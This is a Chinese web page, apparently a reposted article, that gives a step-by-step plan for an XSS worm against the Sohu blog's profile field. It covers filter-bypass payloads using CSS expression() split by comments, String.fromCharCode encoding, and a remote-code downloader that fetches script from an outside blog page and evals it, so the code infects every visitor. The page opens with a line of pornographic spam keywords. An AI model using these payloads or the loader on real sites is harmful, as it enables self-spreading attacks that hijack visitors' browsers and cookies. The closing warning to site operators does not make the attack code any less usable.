人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

完整的XSS wrom入侵實現(xiàn)流程

發(fā)布日期:2021-12-26 21:16 | 文章來源:源碼之家
我先拿SOHU BLOG做示范.

1.測試過濾字符,下面都是構(gòu)造XSS所需要的關(guān)鍵字符(未包含全角字符,空格是個TABLE,\/前是真正的空格),在個人檔案處看過濾了哪些.

’’;:!--"<javascript JAvaSCriPT>=&#{()} \/

結(jié)果

’’;:!--"=&#{()} // (&后是amp,論壇過濾了)

過濾了"javascript","&"和"\"這兩個轉(zhuǎn)義字符串,因此HTML轉(zhuǎn)碼和CSS樣式轉(zhuǎn)碼已無效,只好從屬性和事件入手.

2.測試一個XSS常用屬性和兩個事件,貌似沒有過濾字符.
expression
onerror
onload

3.下面開始嘗試構(gòu)造語句.如下:

<img src="#" style="Xss:expression(alert(’xss’));">

<img src="#" onerror=alert(’xss’)>

<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>

構(gòu)造完整標(biāo)記,頁面輸出后又全部過濾.

4."/"字符沒有過濾因此可以構(gòu)造/*xxxx*/注釋符,expression屬性可以配合注釋符構(gòu)造出語句:

<div style="xss:ex/**/pre/**/ssion(alert(’xss’))">

5.由于expression屬性比較特殊想當(dāng)于一個死循環(huán)的EVAL函數(shù),同時style標(biāo)記里不能出現(xiàn)";"字符,也就是不能構(gòu)造多條連接在一起的javascript,因此構(gòu)造出如下語句:

<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}">

//設(shè)置一個COOKIE在10秒后失效,并在這條COOKIE語句中執(zhí)行其他語句或函數(shù).

6.遺憾的是SOHU BLOG對于標(biāo)記內(nèi)不合適的內(nèi)容都會過濾,因此我們無法eval標(biāo)記內(nèi)的某個變量,于是采用fromCharCode方法,將Unicode字符值專成字符串再用eval函數(shù)執(zhí)行:

<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

7.感染流程考慮:

㈠.BLOG頁面的個人檔案處是頁面通用的,

㈡.XSS內(nèi)容寫到個人檔案處,所有瀏覽者都會觸發(fā)XSS

㈢.實現(xiàn)一段提交XSS內(nèi)容到個人檔案的代碼.

8.個人檔案處只能輸入2048個字符,又采用了fromCharCode方法,因此出現(xiàn)XSS代碼長度的限制,因此只能調(diào)用遠(yuǎn)程代碼,于是寫出了個XSS downloader.

主要代碼:

function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*調(diào)用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*發(fā)出一個GET提交請求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
/*用indexOf計算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解碼.
}d()

http://s0n9.blog.sohu.com/31406970.html 頁面代碼:

alert('xss');
/*利用escape將標(biāo)點符號轉(zhuǎn)碼,由于responseText特性,某些字符會轉(zhuǎn)換,如"&"字符會變成"&"(&后是amp,論壇過濾了)

PS:其他傳染和詳細(xì)的偽造提交的過程略去,各門戶網(wǎng)站小心,過濾好XSS關(guān)鍵字,以防止XSS WROM爆發(fā)






版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部